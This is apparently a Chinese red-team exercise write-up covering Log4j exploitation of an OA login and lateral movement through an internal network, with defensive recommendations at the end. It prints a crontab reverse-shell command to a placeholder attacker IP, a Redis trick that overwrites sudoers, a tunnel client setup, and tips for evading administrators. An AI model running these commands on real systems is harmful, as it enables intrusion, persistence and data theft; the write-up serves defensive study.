[有手就行]Log4j打点后与管理员斗智斗勇
字数 1996 2025-08-27 12:33:48
Log4j漏洞利用与内网横向渗透实战教学
概述
本教学文档基于某省HVV红队实战经验,详细讲解如何利用Log4j漏洞进行内网渗透,以及与管理员对抗的过程。文档内容已做脱敏处理,仅供学习防御技术使用。
信息收集阶段
资产发现与梳理
-
前端资产识别:
- https://op.example.com/login
- http://chm.example.com/login
- https://oa.example.com/auth/login
- https://test.example.com/auth/login
- http://cms.example.com/login (失效)
- https://vm.example.com/login
-
API接口识别:
- https://webapi.example.com:20860/gateway-dev/usercenter/
- http://webapi.example.com:20860/chm/
- http://api.example.com:20242/gateway/organization-center/
- http://api.example.com:20242/gateway-test/organization-center/
- https://api.example.com:20242/authTest/login
- https://api.example.com:21915/login
技术栈分析
- 前后端分离架构
- 统一API网关设计
- 多环境共存(dev/test/prod)
漏洞利用阶段
Log4j漏洞利用
-
漏洞发现:
- 在https://oa.example.com/的登录接口发现Log4j漏洞
-
利用工具:
- 使用WhiteHSBG/JNDIExploit进行反序列化攻击
- 成功获取反弹shell
-
权限维持:
- 创建计划任务保持持久化
# 示例:创建定时反弹shell的计划任务 (crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'") | crontab -
内网横向移动
第一阶段:初步横向
-
内网扫描:
-
Redis利用:
# 创建sudo免密用户 redis-cli -h 目标IP > config set dir /etc/ > config set dbfilename sudoers > set test "\n\n用户名 ALL=(ALL) NOPASSWD:ALL\n\n" > save -
隧道建立:
- 使用nps建立socks隧道
wget https://github.com//ehang-io/nps/releases/download/v0.26.10/linux_amd64_client.tar.gz tar -zxvf linux_amd64_client.tar.gz nohup ./npc -server=xxx.xxx.xxx.xxx:xxx -vkey=xxx > npc.log 2>&1 &
第二阶段:深入横向
-
网络拓扑探测:
- 使用ICMP扫描确定内网规模
- 发现两个主要C段
-
非Web资产利用:
- Redis未授权和弱口令(共获取约12台机器)
- 从Web配置文件中提取数据库密码
- 密码复用分析,补充到扫描器字典
-
Web服务利用:
- Nacos身份绕过漏洞利用
- 获取数据库和AK(Access Key)配置
- 生产系统弱口令爆破(常见密码:123456、admin123等)
对抗管理员的技巧
-
入口点失效处理:
- 当OA接口被关闭时,迅速寻找相似系统(test.example.com)
- 确认存在相同漏洞并建立新入口
-
多跳板策略:
- 建立多个socks代理通道
- 当某个跳板失效时快速切换到其他通道
-
快速资产收集:
- 优先获取非Web资产
- 从配置文件中提取凭证信息
关键服务利用
LDAP服务利用
-
发现LDAP管理端:
- 管理着Jira、Jenkins等服务
- 从LDAP中获取可解密的密码
-
堡垒机突破:
- 解密后登录堡垒机
- 获取数十台服务器访问权限
Jira利用
- 查看开发过程和源代码
- 寻找敏感信息和硬编码凭证
爆破策略
-
密码字典构建:
- 从已获取系统中提取常用密码
- 包含:默认口令、123456、admin123等
-
爆破目标:
- 数据库(MySQL、Redis等)
- 服务器SSH/RDP
- 云服务AK
-
成果:
- 两个C段大部分资产控制权
- OSS访问权限和数据泄露
防御与攻击的思考
攻击方视角
-
隐蔽性不足:
- 因时间紧迫未充分隐藏活动
- 出网流量被检测到
-
改进建议:
- 使用加密隧道
- 减少直接出网流量
- 部署多个冗余入口点
防御方视角
-
现有防御问题:
- 安全设备仅告警未阻断
- 响应依赖人工处理
- 内网安全基础薄弱
-
典型内网问题:
- 密码复用严重
- 弱口令普遍存在
- 已知漏洞未修复
- 网络隔离不足
- 服务器直接出网
防御建议
-
立即措施:
- 启用安全设备的自动阻断功能
- 限制服务器出网流量
- 强制修改默认和弱口令
-
中长期措施:
- 实施网络分段和隔离
- 建立完善的凭证管理系统
- 定期漏洞扫描和修复
- 部署EDR解决方案
- 建立安全运维响应流程
-
监控增强:
- 异常出网流量监控
- 特权操作审计
- 账户异常行为检测
工具列表
-
漏洞利用:
-
内网扫描:
-
隧道工具:
-
代理工具:
- Proxifier (Socks代理管理)
总结
本案例展示了从Log4j漏洞开始,到完整内网渗透的全过程,重点包括:
- 漏洞快速识别和利用能力
- 内网信息收集和横向移动技巧
- 与防守方的对抗策略
- 企业内网常见安全问题
防御方应从此案例中吸取教训,加强基础安全建设,而安全研究人员则应关注攻击手法以提升防御能力。